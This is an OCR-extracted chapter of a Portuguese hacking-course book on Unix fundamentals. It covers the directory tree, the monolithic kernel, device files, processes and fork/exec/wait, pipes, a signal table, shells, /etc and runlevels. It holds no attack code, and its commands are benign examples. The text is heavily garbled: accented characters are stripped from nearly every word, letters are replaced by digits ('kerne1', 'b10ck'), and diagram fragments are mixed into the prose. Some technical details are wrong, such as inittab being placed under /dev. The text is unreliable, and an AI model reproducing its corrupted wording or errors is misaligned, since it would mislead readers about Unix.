~/home: cada usurio cadastrado no sistema possui
um diretrio com seu nome em /home - esta a nica
rea de disco que a maioria dos usurios est autoriza-
da a utilizar para gravar seus arquivos;
~/lib: as bibliotecas de funes do sistema esto aqui
- considere-as como as "DLLs"do Unix;
~/mnt: diretrio usado para conexo a volumes pre-
sentes em outros computadores da rede ou para acessar
dispositivos removveis, como disquetes, fitas magnti-
cas e CDs;
~/proc: arquivosrepresentando os processos em execuo;
~/tmp: espao para arquivos temporrios gerados
pelos programas ou pelos prprios usurios;
~/usr: os aplicativos do usurio esto instalados abai-
xo de /usr;
~/var: informaes variveis do sistema (spool de im-
pressora, caixas postais, cache de Internet, log do siste-
ma, etc.).
o diretrio /usr muito importante. Praticamente tudo o
que os usurios vo utilizar est nele. Mas por que esse
diretrio existe? No seria mais fcil colocar tudo em Ibin?
Normalmente, o Ibin e o /sbin contm apenas os pro-
gramas estritamente necessrios para que o computa-
dor funcione e possa dar boot ou ser reparado. No /usr
esto guardados o restante dos programas dos usurios
(ferramentas, editores de texto, navegadores de Internet
e ambientes grficos) bem como a documentao do sis-
tema e os arquivos compartilhados. O /usr pode estar na
mesma partio do Ibin e do /sbin. Mas tambm pode
estar em outra partio, que s acessada pelo sistema
depois que o Unix termina sua inicializao.
O /usr pode ainda estar em uma mquina centralizada
na rede, que exporta um /usr comum a todas as estaes
Unix. Com isso, o administrador tem de instalar progra-
mas apenas uma vez em vez de faz-Io em cada um dos
computadores Unix sob sua superviso.
O /usr quase um "mini-root": contm seus prprios
bin, sbin, lib, etc., que so, respectivamente, os diretrios
de programas comuns do usurio, ferramentas do
superusurio, bibliotecas de funes dos programas abai-
xo do /usr e arquivos de configurao dos programas
abaixo do /usr. Alm disso, possui diretrios s encon-
Universidade 1ano
trados nele. A dupla /usr/include e /usr/src presta-se para a compilao de progra-
mas a partir do cdigo-font. O /usr/doc guarda uma gama varivel de documentos
sobre o sistema e os programas instalados. J o /usr/man encerra a documentao
oficial do sistema, as chamadas man pages. O /usr/share possui qualquer tipo de
arquivo (imagens, sons, configuraes) que deve ser compartilhado por todos os
programas e usurios.
Por fim, o diretrio /usr/local um "mini /usr". Possui uma estrutura de diretrios
praticamente idntica ao /usr. Serve para que programas locais possam ser instala-
dos em computadores que possuam o /usr em outra mquina na rede. Apesar de /usr
ter a possibilidade de ser um "drive de rede", o /usr/local continua sendo armazena-
do localmente no HD.
Vasculhe seu sistema Unix antes de prosseguir. No se preocupe - se voc no for
o superusurio e usar somente os comandos no-destrutivos como cd, ls e cat, no h
possibilidade de "estragar" nada. Depois de faz-lo, v para casa, se arrume e saia,
como fez no captulo anterior. Ou antes, largue este livro e pegue Crime e Castigo,
de Dostoivski. Ou v tocar flauta doce. Mas relaxe e no pense em Unix at amanh.
o cerne da questo
O kerne1 cria processos toda vez que pedimos ao sistema operacional para
rodar um programa. Alm de cri-los, o kernel cuida para que eles colaborem
entre si e no se destruam mutuamente, e tambm gerencia os recursos (mem-
ria, CPU, perifricos) que cada processo utiliza.
Compare o diagrama da prxima pgina com o do captulo anterior. Pode-se
ver claramente que a imp1ementao Unix difere radicalmente de sua equivalen-
te Windows. Enquanto o sistema da Microsoft utiliza o conceito de microkerne1 -
apenas as funcionalidades bsicas esto no kerne1 e h diversos subsistemas ro-
dando em user mode -, no Unix tudo est embutido num ncleo monoltico.
Mesmo em implementaes cujo kerne1 modular, os mdulos tambm rodam
em kerne1 mode. Apenas os processos dos programas e servios (daemons) ro-
dam no espao do usurio.
6 o dretrio /usr/include armazena os cabealhos com os prottipos das funes em C presentes nas
bibliotecas /lib e /usr/lib, enquanto o /usr/src recebe o prprio cdigo-fonte a ser compilado.
1931
I Plataforma Unix
IUniversidade H4CK3RI
----------------------
Interfacedeservio
J
FileSystem
J
Gestodememriae Input/Output
"o DOPro
Hardware
Os processos comunicam-se
com o keme1por meio de cha-
madas de sistema ou system
ca11s(a "interface de servios"
mostrada no diagrama). As
system ca11sinteragem com os
componentes do SOpor meio
do sistema de arquivos (no se
esquea: em Unix tudo arqui-
vo). Por ele, o keme1 controla
o hardware, os arquivos do usu-
rio e os prprios processos,
que so objeto de um
escalonamento ou scheduling
para definir as prioridades, a
ordem de execuo e a
interao entre eles. Como o
hardware tambm tratado
pelo sistema de arquivos, o
ncleo dos sistemas Unix
nada mais do que um
supergerenciador inteligente
de arquivos.
1941
Plataforma Unix [
Programas
!
I Bibliotecasde Sistema I
f
User Mode
Kernel Mode
Usurio
Sistema
!
Systemcall1nterface
!
Controlede Processos
Comunicao entre
processos
Scheduler
;.Caracter
Oriented IOriented.
D.~y.!!t~.Q.ril,l~nL..
f
Gesto de memria
Controle de Hardware
Sistema
Hardware
Universidade 1ano
Num exame menos simplificado, vemos que os programas acessam funes
disponveis nas bibliotecas do sistema. Semelhantes s DLLs dos sistemas
Windows, as bibliotecas compartilhadas (shared objects ou so) dos sistemas
Unix permitem que vrios programas compartilhem as mesmas caractersticas.
Adiferena a maior opo de escolha. O Unix um sistema muito mais modu-
lar do que qualquer outro. Isso significa que o programador tem muitas opes
de biliotecas para basear seus programas.
Um exemplo a interface grfica. No Windows ela encontra-se em uma nica
biblioteca (GDI.DLL). J no Unix temos diversos toolkits grficos, todos eles
"encaixveis" no servidor X. O mais famoso o Motif, mas h muitos outros.
como o GTK, o Qt e o Tk.
Seja diretamente ou atravs das bibliotecas, os processos emitem system calls
para o kerne1, solicitando alguma coisa. No kerne1 h rotinas para controle
desses processos (escalonamento, comunicao e memria) e para acessar os
recursos do sistema por meio do sistema de arquivos.
Dispositivos
Os dispositivos do sistema presentes em /dev so arquivos especiais que se
comunicam com o hardware. Melhor dizendo, so representaes (imagens) dos
dispositivos em formato de arquivo. Toda a discusso sobre interrupt handlers
que tivemos no captulo sobre o Windows vale para os sistemas Unix tambm.
Mas ao contrrio do Windows, os sistemas Unix dependem muito pouco da BIOS
em sistemas baseados em hardware PC.Todas as funes originalmente a cargo
da BIOS(excetuando-se a inicializao da mquina) so implementadas no kerne1.
Outras plataformas de hardware sequer possuem algo parecido com uma BIOSde
PC e, portanto, a implementao dessas funes no kernel obrigatria.
Lembram-se de como os dispositivos eram acessados no Windows, por meio
de device drivers e VxDs? No Unix, obviamente, tambm h device drivers. Mas
ao contrrio do Windows, os drivers so mdulos do kerne1. Tais mdulos po-
dem ser tanto compilados no prprio kerne1 de maneira monoltica como car-
regados sob demanda na memria, se forem compilados como autnomos. A
reside a diferena radical entre a abordagem microkerne1 do Windows e a de
kerne1 monoltico do Unix. Os arquivos de dispositivo presentes no /dev comu-
nicam-se com os device drivers - e, portanto, com o prrpio kernel, que se
encarrega de controlar o hardware para o qual o driver foi escrito.
Os nomes dos dispositivos so organizados de forma simples. Normalmente
um grupo de duas a quatro letras e, opcionalmente, nmeros. Por exemplo, o
primeiro disco rgido (ou qualquer dispositivo IDE) instalado em um sistema
Linux o /dev!hda, o segundo o /dev!hdb. Em um Solaris, os mesmos discos
esto representados pelos arquivos /dev/dsk/cOtOdO e cOtldO. H trs tipos de
dispositivos: de bloco, de caracter e de interfaces de rede.
Os dispositivos orientados a caractere (character devices ou, ainda, char devices)
1951
I Plataforma Unix
I Universidade H4CK3R I
so aqueles que podem ser acessados como um arquivo comum. Voc pode
escrever neles ou ler a partir deles, sempre um byte por vez. De fato, os drivers
que implementam esses dispositivos aceitam ser manipulados por funes pri-
mitivas como open(), close(), read() e write( ).Alguns exemplos so as portas
seriais, o teclado e o mouse.
bvio que h diferenas entre os dispositivos de caractere e um arquivo co-
mum. Se for criado um arquivo comum e, dentro dele, for gravada a frase "Hey
Beavis, I'm a Unix string!", possvel recuperar essa frase toda vez que o arquivo
for lido. Um char device, por outro lado, apenas um canal de comunicao entre
o espao do usurio e o dispositivo. O que for enviado por meio do /dev tratado
pelo hardware e no pode mais ser recuperado. Quando se tenta ler do disposi-
tivo, o que se obtm so os dados que o mesmo est enviando ao sistema de
arquivos naquele momento, no os gravados anteriormente.
Os dispositivos orientados a bloco (b10ck devices), por outro lado, s podem
ser acessados por meio de grandes pacotes de informao. Normalmente encer-
ram em si componentes nos quais possvel guardar sistemas de aquivos, como
HDs, disquetes e CD-ROMs.Um disco rgido, na maioria dos sistemas Unix, s
pode ser acessado em blocos de 1 kbyte. Se for necessrio gravar, por exemplo,
apenas 128 bytes no disco, ser usado um bloco de 1 Kbyte (1024 bytes) para tal.
Os b10ck devices possuem, por isso mesmo, uma velocidade de transferncia
(throughput) muito maior do que os dispositivos de caractere.Tambm por trans-
ferirem grandes quantidades de dados, podem contar com uma rea de transfe-
rncia auxiliar (buffer) do tipo cache, que aumenta ainda mais o throughput.
O ltimo tipo de dispositivo presente no /dev so as chamadas interfaces de
rede. Em sistemas Linux, so representadas no /dev por ethO para a primeira
placa, ethl para a segunda e assim por diante. Em um sistema HP-UX,que usa
placas Intel, as interfaces foram chamadas de itlO, itll, etc. H dispositivos de
rede que so puro software. Dois exemplos so o loopback (interface 10), que
direciona o trfego de rede para a prpria mquina (endereo 127.0.0.0), e os
sockets de comunicao do servidor XWindow.
As interfaces de rede so, no fundo, dispositivos orientados a caractere, embora
especializados. Em algumas implementaes, os dispositivos SCSIso considerados
como um quarto tipo de dispositivo,embora sejam, na prtica, dispositivos de bloco.
Processos (no, isso no papo de advogado)
Em um sistema Unix, os processos so as entidades mais importantes. Alm
dos programas do usurio, todos os servios e servidores que rodam em um
computador com Unix se baseiam em um ou mais processos. Uma mquina Unix
pode conter, entre outras coisas, um servidor Web, um banco de dados, um servi-
dor de e-mailsou uma rdio on-tine. Cada um desses servios chamado de daemon
e dispara um ou mais processos identificados por nmeros nicos em todo o
sistema. Cada processo possui seu nmero de identificao exclusivo. O servidor
Web do exemplo possui diversos processos apenas para se manter "no ar", e
1961
Plataforma UnixI
Universidade 1ano
cada conexo de um browser de Internet a alguma pgina desse servidor cria
mais um processo. fcil perceber que num arranjo como esse h sistemas
Unix com milhares de processos simultneos.
O primeiro processo gerado por um programa qualquer chamado de pai.
Cada um dos processos gerados por esse pai chamado de filho. Como h vri-
os nveis de processos, podemos dizer que um processo sempre ftlho de ou-
tro mais primitivo e pode ele mesmo ser pai de outros processos mais novos.
H duas maneiras de iniciar um processo. Aprimeira a mais trivial:o usurio emite
um comando no prompt e o shell transformaesse comando em um processo. Mash a
possibilidade (ou antes, a necessidade) de iniciar processos automaticamente.
Na inicializaodo Unix, o keme1, assim que carregado, trata de iniciar o primei-
ro processo: o init. Ele o pai de todos os outros processos gerados a partir de ento.
O init finaliza o procedimento de boot carregando as configuraes do sistema e
inicializandotodos os daemons referentes aos servios que a mquina deve oferecer.
Alguns desses daemons so servios de rede, como e-mail (SMTP)eWeb (HTIP).
Tais servios "escutam" a rede espera de solicitaes vindas de outros compu-
tadores. Por exemplo, um servio HTTP espera que computadores com browsers
de Internet conectem-se a ele. Caso a conexo seja estabelecida, o daemon cor-
respondente envia ao navegador do outro computador a pgina solicitada.
interessante notar que esses servios esperam continuamente por cone-
xes, o que significa que consomem recursos da mquina mesmo quando ocio-
sos. Para evitar isso, os servios menos requisitados podem ser agrupados em
um superservidor chamado inetd, que aguarda por conexes a diversos servi-
os. Caso um desses servios seja solicitado, o inetd carrega o daemon necess-
rio. Quando a conexo acaba, o inetd descarrega o daemon da memria.
~
~~:~!~J
+
[~iI~~j
Os processos comunicam-se entre si por
meio de sinais e emitem requisies ao siste-
ma operacional atravs das chamadas de sis-
tema ou system caIls. H diversos sinais e cha-
madas padronizadas pela norma POSIX.
Sempre"escutam"
a rede espera
de conexes I IpeloINETO Ei, poderia me fazer um favor?
Sempre que um processo precisa de alguma coisa do computador, emite uma
chamada de sistema ao kernel. As tarefas que as aplicaes pedem ao kernel
podem ser de acesso a perifricos, solicitao CPU para "fazer uma conta" ou
requisio de mais memria. Existem dezenas de system caIls.As mais bsicas
so fork, exec e wait. Afork cria um processo ftlho que um done do processo
pai: tem as mesmas caractersticas, trabalha com os mesmos arquivos j abertos
(embora possa abrir outros novos s para si) e, o mais importante, pertence ao
1971
I Plataforma Unix
IUniversidade H4CK3RI
mesmo programa que gerou o processo pai. As nicas diferenas so o nmero
de identificao de cada processo e o nmero de identificao do processo pai.
J a chamada exec transfere o controle da CPUpara outro processo ou progra-
ma. Os arquivos que estavam abertos para o programa original so redirecionados
para os processos gerados pelo novo programa. Usando ambas as chamadas
nessa ordem (fork depois exec), um processo cria um ftlho e transfere o coman-
do para ele. Quando o processo ftlho completar sua tarefa, envia os resultados
do processamento ao pai.
A dupla fork+exec, entretanto, no evita que o processo pai continue rodan-
do. Para que o processo pai entre em hibernao e espere parado o trmino do
processo ftlho, usa-se a chamada de sistema wait. Como o processo pai est
dormindo, no entra no time sharing da mquina e, portanto, economiza reur-
sos. O processo pai s voltar aos ciclos de processamento da mquina quando
o processo ftlho deixar de existir ou, no jargo tcnico, "morrer".
Um exemplo prtico a linha de comando ou shell. Imagine que o usurio
digitou um comando e o shell ficou congelado, sendo liberado somente depois
de o comando ser fmalizado. Nesse caso, o she11emitiu uma chamada wait para
o comando do usurio. Se por outro lado o usurio emitir um comando e, ape-
sar de o programa ainda estar rodando, o prompt aparecer imediatamente,
indcio de que o she11no usou a chamada de sistema wait.
Comunicao entre processos
H casos em que, em vez de solicitaremalguma coisa ao SO,os processos necessi-
tem comunicar-se uns com os outros. Uma das formas possveis a comunicao
entre processos pai e filhos. O processo pai pode, por exemplo, fazer uma chamada
de sistema ptrace para rastrear possveis bugs de programao no processo filho.
Outro exemplo de comunicao entre processos so os pipes ou dutos. Pipes
so uma maneira de o prprio usurio determinar a ligao entre a sada de um
processo e a entrada de outro. Isso feito na linha de comando, com o caractere
I (que, no por acaso, chama-se pipe...) . Observe o comando a seguir:
$ ps -e I grep netscape
Esse comando toma a sada do primeiro programa (ps -e) e o joga na entrada
do segundo programa (grep netscape). Observe que os dutos tm uma peculia-
ridade: apenas ligam processos oriundos do mesmo pai. No caso acima, os co-
mandos ps e grep so "irmos", ftlhos do mesmo shell.
Um terceiro mtodo de os processos se comunicarem atravs dos IPCMFsou
Inter Process Communication Message Facilities. Os IPCMFs nada mais so do que filas.
Existem processos transmissores, que so autorizados a colocar mensagens na fila, e
processos receptores, que obviamente os retiram. Um exemplo de implementao de
IPCMFs so os sPOOlsde impresso. Vrios programas e usurios possuem permisso
para escrever na fila de impresso, e possvel que vrias impressoras (e seus device
drivers) "puxem" documentos para serem impressos por elas.
198 I
Plataforma Unix I
Universidade 1ano
Sinais e semforos
Os mtodos de comunicao interprocessos mais primitivos, entretanto, so os
sinais. So mensagens muito simples que um processo envia a outro. Apenas pro-
cessos ativos podem enviar sinais. Como apenas um processo pode estar ativo
em um dado momento - a no ser que o sistema possua vrios pocessadores -,
um sinal certamente vai acordar o processo destino, que obviamente est suspenso.
Quando um processo suspenso volta atividade, o kerne1 verifica se existe
algum sinal para ele. Se existir, o sistema pode tomar uma entre trs providnci-
as: ignorar o sinal, entreg-Io ao processo destinatrio ou captur-Io. Quando um
sinal capturado, o sistema executa uma de suas rotinas de tratamento de sinal,
que varia de acordo com a natureza do mesmo.
Origina1mente,eram considerados 22 sinais. Segundo o padro POSIX.1,hoje, h 31
sinaisdiferentes,cada um solidtando uma ao espefica no processo destino. Soeles:
N INOME SIGNIFICADO
1 SIGHUP
2 SIGINT
3 SIGQUlT
4 SIGILL
5 SIGTRAP*
6 SIGIOT/SIGABRT
7 SIGEMT*
8 SIGFPE
9 SIGKILL
10 SIGBUS *
11 SIGSEGV
12 SIGSYS *
13 SIGPIPE
14 SIGALRM
15 SIGTERM
16 SIGUSR1
17 SIGUSR2
18 SIGCLD
19 SIGPWR *
20 SIGWINCH *
21 SIGURG *
22 SIGIO *
23 SIGSTOP
Desliga o processo devido morte do processo pai
Processo interrompido pelo teclado
Fecha o processo e o descarrega da memria
Informa que o processo fez uma operao ilegal
Trace/breakpoint trap - para rastreamento de bugs (System V)
Aborta processo
EMTTrap (System V)
Exceo (erro) em ponto flutuante
Encerra ("mata") o processo - no pode ser ignorado
Acesso memria defeituosa (System V)
Referncia invlida memria (segmentation fault)
Chamada de sistema com argumento errado (System V)
Duto quebrado: no h processo recebendo os dados
Despertador originrio do comando C "alarm"
Encerra o processo- pode ser ignorado
Sinal definido pelo usurio
Sinal defmido pelo usurio
"Morte" de um processo ftlho
Queda de energia (System V)
Redimensiona janela (BSD4.3 e Sun)
Condio urgente no 'socket' (BSD4.2)
E/S possvel agora (BSD 4.2)
Congela processo
1991
1 Plataforma Unix
IUniversidade H4CK3RI
24 SIGTSTP
25 SIGCONT
26 SIGTTIN
27 SIGTTOUT
28 SIGVTALRM*
29 SIGPROF*
30 SIGXCPU*
31 SIGXFSZ*
Stop digitado no terminal TIY
Mantm congelado
Obtm dados do terminal para processo em segundo plano
Processo em segundo plano entrega dados ao terminal
Despertador virtual (BSD 4.2)
Sinal "Proftling Timer Expired" (System V)
Tempo de CPU excedido (BSD4.2)
Tamanho do arquivo excedido (BSD 4.2)
A tabela considera os sinais POSIX.l em arquitetura RISCMIPS.Arquiteturas
Alpha, Sparc, i386 (PC) e PowerPC possuem alguns valores diferentes. Por exem-
plo, para i386 e Sparc o sinal 16 SIGSTKFLT- falha no coprocessador. Sinais
marcados com asterisco (*) so apenas parte da implementao GNU/Linux -
no so padro POSIX.l e tm sua origem indicada entre parnteses. Consulte
man 7 signals em seu sistema para informaes mais detalhadas e visite o site
(www.unix-systems.org) para saber mais sobre o novo padro POSIX.2.
Os sinais so trocados entre os processos em andamento. possvel forar
manualmente o envio de um sinal a partir do shell com o comando kill. O nome do
comando no nem um pouco apropriado, pois ele no usado apenas para enviar
SIGTERMou SIGKILL(ou seja, matar o processo). Qualquer sinal pode ser enviado
pelo comando kill.
Exemplo de utilizao:
$ kill -9 27536
Esse comando envia o sinal 9 (SIGKILL)ao processo 27536. Quando o nmero
do sinal no especificado, o sistema assume o valor 15.
Alm de sinais e mensagens simples, possvel dizer a um processo para guar-
dar estruturas de dados muito mais complexas. Usando uma poro de memria
chamada memria compartilhada, os processos ativos podem, atravs de system
calls, armazenar dados que sero utilizados posteriormente por outros proces-
sos. Para impedir que outros processos alterem os dados antes que o processo
gerador tenha terminado de mexer neles, so usadas entidades chamadas sem-
foros, que bloqueiam o acesso quela posio de memria at haver liberao.
No objetivo deste livroentrar em detalhes sobre teoria ou particularidades sobre
desenvolvimento de software, sinais e chamadas de sistema. Entretanto, sua obriga-
o conhec-Ios! Para mais informaes, consulte a norma POSIXdo Single Unix
SpeciJication(wwwunix-systems.org) Tambm deveras educativo escolher um sa-
bor qualquer de Unix e buscar as especificaes do fabricante. Um bom sistema para
isso o Linux, por ter todo o seu cdigo aberto ao pblico em geral e, portanto, no
preciso pedir permisso ou pagar taxas a ningum para isso.Alm disso, o Linux
roda em PCs comuns - voc pode estudar no seu computador pessoal.
1100 I
Plataforma UnixI
Universidade 1ano
Na praia catando mexilhes
Tudo bem, eu sei que o que voc queria estar fazendo agora. Mas estamos
aqui para ser "hackers", no? Isso implica em no ter mais noites de sono, ser
anti-social e passar as frias trancado em casa tentando invadir aquele site...
Brincadeiras parte, pelo shell que o usurio diz para o kerne1: "Ei, abra um
processo a para o meu programa". Se voc tivesse de dizer isso diretamente,
teria muita dificuldade - a comunicao com o kernel no l muito inteligvel.
O shell trabalha ento como um intrprete entre a lngua que falamos e a "lin-
guagem" do computador7.
No incio deste captulo usamos alguns comandos para "navegar pelo sistema
de arquivos". Mas o shell no um simples interpretador de comandos. Entre
os recursos mais importantes, est o encadeamento de comandos, ou piping. .
H algumas pginas, vimos que o encadeamento de comandos uma das for-
mas de comunicao entre os processos e que pode ser disparado pelo usurio
por meio do caractere I. Usando diversos pipes, um comando de apenas uma
linha pode fazer com que um arquivo ou pedao de informao seja processa-
do por vrios programas seqencialmente. A sada de um programa "flui pelo
duto e desemboca" na entrada do programa seguinte. Por exemplo, considere o
seguinte comando:
$ Is I grep b I sort -r I tee arqsaida I wc -1
O comando ls lista o contedo do diretrio. Em vez de mostrar na tela, o
pipe joga a sada de ls para o comando grep b, que filtra os nomes de arqui-
vos que contenham a letra b. Em seguida, a sada do grep jogada no coman-
do sort -r, que classifica os nomes em ordem decrescente. A sada do sort
inserida no tee, que divide os dados em dois como se fosse uma conexo em T
ou "benjamim".As informaes do sort vo ser gravadas no arquivo "arqsada"
e, simultaneamente, so passadas ao comando wc -1, que conta o nmero de
linhas. Como resultado desse comando, temos impresso na tela a quantidade de
arquivos que contm a letra b, e no arquivo "arqsada" temos gravados os nomes
desses arquivos.
Esse exemplo vai alm de demonstrar a possibilidade de encadeamento. O
Unix foi pensado desde o comeo como um sistema que tivesse ferramentas
pequenas, mas poderosas e ultra-especializadas. Tais ferramentas podem ser
combinadas para formar uma ferramenta maior e mais complexa para execu-
tar uma determinada tarefa. Com isso, evita-se a "reinveno da roda" , pois usan-
do-se blocos bsicos de construo - como num Lego (tm) - reaproveita-se o
trabalho j existente. Essa viso difere radicalmente da "maneira Windows" de
fazer as coisas: programas grandes que renem a maioria das funes que o
usurio possa precisar. No Unix, menos mais.
7 Qualquer ambiente grfico no Unix pode ser considerado "um shell sobre o shell.., portanto, o raciocnio
aqui descrito ainda vlido. A grosso modo todos os processos gerados dentro do ambiente grfico so filhos
ou descendentes do servidor X, da mesma forma que os processos gerados pelo shell so filhos do mesmo shell.
1101 1
1 Plataforma Unix
I Universidade H4CK3R I
Minha coleo de conchas
H diversos shells disponveis para o usurio. Cada implementao do Unix
adota a que mais convm ao fabricante ou ao destino a ser dado ao sistema.
Normalmente so distribudos trs shells com os Unix comerciais: Bourne, Korn
e C Shell. Mais recentemente, os sistemas tambm incluem a verso GNU do
Bourne Shell, chamada de Bourne Again Shell ou Bash. Todos eles suportam mani-
pulao de processos, redirecionamento e piping, caractersticas comuns em um
sistema Unix. Mas, obviamente, cada um tem suas particularidades.
Desenvolvido em 1975 por S. R. Bourne, o Bourne Shell foi um dos primeiros
a serem implementados e serviu como referncia aos que vieram depois. Sim-
plificava sobremaneira a operao do Unix, que at ento calcava-se num shell
muito primitivo. Mas ainda era muito simples, embora por isso mesmo seja, at
hoje, o menor em tamanho e o mais rpido.
A evoluo do Bourne Shell foi o C Shell, desenvolvido pelo ento professor BillJoy. O
C Shell implementou o histrico de comandos (se voc j digitou, no precisa digitar de
novo, basta procurar na lista), o alias (permite atribuir apelidos curtos a longos coman-
dos com diversos pipes) e controle de processos em foreground e backgound. Mas a
maior caracteristica do C-Shell a sintaxe dos comandos, muito parecida com a do C,
facilitando sobremaneira a criao de shell scripts. Recentemente, foi desenvolvido o
TC Shell ou Turbo C Shell, com melhorias na interatividade da reedio de comandos.
Um mrido dos dois anteriores foi o Korn Shell, desenvolvido por David Korn da
AT&T.Ele tenta ser uma alternativa coerente, implementando as caractersticas positi-
vas de ambos os shells anteriores e eliminando as conflitantes.
O Bash a reimplementao do projeto GNU para o Bourne Shell e recebeu diversas
melhorias na reedio de linha de comando, embora mantendo as mesmas caractersti-
cas do antecessor com relao a scripts.
Falamos algumas vezes em shell scripts nos ltimos pargrafos. Mas o que ser isso?
Script for a jester's tear8
o shell , primariamente, um interpretador de comandos que responde
interativamente aos estmulos do usurio, mas tambm permite criar um arquivo
com uma lista de comandos que sero executados seqencialmente. Com um pou-
co de prtica, possvel transformar essas "listas de comandos" em programas
teis que executam tarefas muito complexas. Um programador tarimbado pode
implementar com shell scripts qualquer servio em uma mquina Unix, inclusive
com acesso de baixo nvel a hardware, sem precisar conhecer C ou Assembly.
Consulte (no CD) os apndices sobre programao. H uma parte especial so-
bre shell script. Sugerimos tambm que o leitor aprofunde-se nisso. Um bom hacker
transita com galhardia pelos Unix shell scripts. A Internet est repleta de sites
sobre o assunto, basta procurar no seu site de buscas favorito. No CD esto
includos alguns tutoriais. Pratique! importante!
8 lbum de estria da banda britnica de rock Marillion, lanado em 1980.
1102 I
Plataforma Unix [
Universidade 1ano
Todos os segredos esto no /etc9
De todos os tesouros escondidos nas entranhas dos sistemas Unix, alguns dos
mais valiosos esto nesse diretrio: nele que todas as configuraes so
mantidas. Vimos no captulo 3 que o Microsoft Windows possui uma entidade
chamada Registro e que todo o sistema gira em torno dele. O assunto tomou
grande parte do captulo anterior. Em se tratando de Unix, h mais a se falar
sobre o sistema de arquivos, shell e processos do que sobre o /dev.
Embora seja a chave da operao do sistema - na prtica, quase tudo o que um
administrador de sistemas precisa saber est a -, o /etc to simples de ser enten-
dido que, como conjunto, no h muito o que se falar sobre ele. As configuraes
esto guardadas em arquivos de texto puro humanamente legveis. Os autores vem
essa abordagem com melhores olhos quando confrontados com o paradigma do
Registro no Windows. Mas, como tudo, tambm h algumas desvantagens nessa
abordagem. A maioria delas advm da falta de padres, que faz com que o Unix da
lliM, o AIX,seja muitssimo diferente do Unix da Sun, o Solaris,por exemplo.
Ao contrrio do Windows, em que o registro gravado normalmente em dois a
cinco arquivos, no Unix cada aspecto do sistema possui um arquivo diferente, nor-
malmente pequeno e de contedo simples. Bom para a modularidade do sistema,
ruim para a operao: so dezenas de arquivos padronizados e centenas de outros
que so dependentes da implementao. bvio que esse cenrio menos compli-
cado que a organizao das HKEYSno Wmdows, mas ainda assim amedrontador.
Como bnus, os sistemas Unix nos livram das malditas chaves CLSID- parausar
um programa como servidor de um script basta usar as APIs, amplamente docu-
mentadas, muito mais simples e em lngua humana. Como demrito, a j citada falta
de padres fora os usurios a especializar seus scripts mais complexos, pois no
funcionaro da mesma forma em todas as implementaes.
Inittab and the RunLeveLs
(parece banda de rock, mas no ...)
Logo aps o boot, o kernel inicia o primeiro processo, pai de todos, o init. A
primeira providncia do init ler sua tabela descritiva, armazenada em /dev/
inittab. Esse arquivo informa ao init onde esto os daemons que devem ser
inicializados, quais os scripts que contm as tarefas do processo init, quantos e
quais terminais sero ativados e algumas "armadilhas" (traps) para sinais do
sistema, tratando-os com a rotina correta.
O inittab tambm informa o processo init a respeito dos nveis de execuo
(ou runlevels) do sistema. Runlevels so diferentes nveis nos quais o Unix pode
operar, e indicam quais servios devem ser iniciados pelo init e quais devem ser
fmalizados. Um runlevel mais baixo indica que h menos servios rodando, um
mais alto significa muitos daemons sendo inicializados. Examinando um siste-
ma Red Hat Linux, encontramos seis runlevels:
9 Ttulo reproduzido com a permisso da Revista do Linux.
1103 1
1 Plataforma Unix
I Universidade H4CK3R I I
o- Halt: o sistema encerra suas atividades e desliga
I - Monousurio
2 - Multiusurio
3 - Multiusurio com servios de rede
4 - No usado
5 - XII: o mesmo que 3, mas em modo grfico
6 - Reboot: o sistema encerra suas atividades e reinicia
Cada sabor de Unix tem sua prpria configurao de runlevels, e mesmo dife-
rentes distribuies Linux possuem esquemas diversos. Por exemplo, num
Slackware Linux e num HP-UXo nvel de execuo da parte grfica 4 e no 5.
Quando o init criado, o kernel passa a ele em qual runlevel o sistema deve
funcionar. Se essa informao no for passada, o prprio inittab informa qual o
valor default. possvel mudar o nvel de execuo durante a operao do Unix
com o comando init n, em que n nmero do runlevel para o qual queremos "ir".
Note que os nveis de execuo so meramente listas ordenadas de processos
a serem iniciados ou [malizados. Quando voc "passa" do runlevel 3 para o 5
(com o comando init 5), por exemplo, vrios processos do runlevel 3 so termi-
nados antes que os do runlevel 5 sejam inicializados. Enote tambm que o usu-
rio pode, manualmente, chamar programas no previstos nesse nvel. Estando
em runlevel 3 (modo texto) o usurio pode chamar o servidor X e trabalhar em
um ambiente grfico. Ele no precisou deixar o nvel 3 e entrar no 5 para isso.
Tenha em mente que os runlevels so meios de facilitar a administrao do
que ser inicializado quando voc liga a mquina. Fazendo um paralelo com o
antigo MS-DOS,pense neles como uma srie de arquivos AUTOEXEC.BAT, cada
um iniciando uma gama diferente de programas.
Todos os daemons inicializveisno boot possuem um script no diretrio init.d. Na
maioria dos sistemas Linux este diretrio est no /etc, nos outros sabores de Unix
isso varia bastante. No HP-UX,por exemplo, tais scripts esto em /bin/init.d. Eles
carregam e descarregam o daemon na memria, fornecem o estado de execuo do
programa, recarregam as configuraes do mesmo sem parar o processamento -
tudo depende do parmetro passado ao script - e podem ser executados manual-
mente pelo superusurio, caso queira parar ou iniciar algum servio. Mas so usados
principalmente para a inicializaoautomtica pelo esquema de runlevels.
H um outro conjunto de diretrios chamados de rcN.d, sendo N o nmero do
nvel de execuo. Os servios a serem inicializados no runlevel3, por exemplo,
esto em rc3.d. A localizao desse conjunto de diretrios tambm varia muito
entre os diferentes sabores de Unix. Podem estar em /etc, /etc/init.d, /sbin ou /bin.
Dentro do diretrio rcN.d h diversos links simblicos. Pense nos links sim-
blicos (ou symlinks) como os atalhos do Windows: entidades que apontam
para o arquivo verdadeiro. Os nomes do symlinks desses diretrios tm a se-
guinte estrutura:
104 I
Plataforma UnixI
Universidade 1 ano
Xnnnnome_do_daemon
Xpode ser uma de duas letras: Sou K. Sindica ao processo init que o daemon
tem de ser inicializado quando se entra naquele runlevel, e Kindica que o daemon
tem de ser terminado ao sair do runlevel. nnn um grupo de trs algarismos
que indica a ordem pela qual os processos so iniciados ou mortos. Sistemas
GNU/Unux usam apenas dois algarismos. O nome_do_daemon serve apenas
para identificar o symlink.
Um exemplo prtico. O servidor de e-mail sendmail tem de ser inicializado quan-
do entramos no nvel 3. Para tanto, h um symlink apontando para init.d/sendmail:
S980sendmail
Isso indica ao processo init para inicializar o sendmail na posio 980 (ou seja,
depois que os servios com nmeros menores j estiverem inicializados). Quan-
do o Unix deixa o runlevel3 (no desligamento da mquina, por exemplo), o link
simblico correspondente - tambm apontando para init.d/sendmail - :
K120sendmail
indicando ao init para desligar o sendmail na posio 120, depois que todos
os processos com numerao mais alta que 120 j tiverem sido terminados.
Cada sabor de Unix possui um inittab e um esquema de runlevels que, apesar
de semelhantes, so diferentes. Sugerimos ao leitor que vasculhe esses arquivos
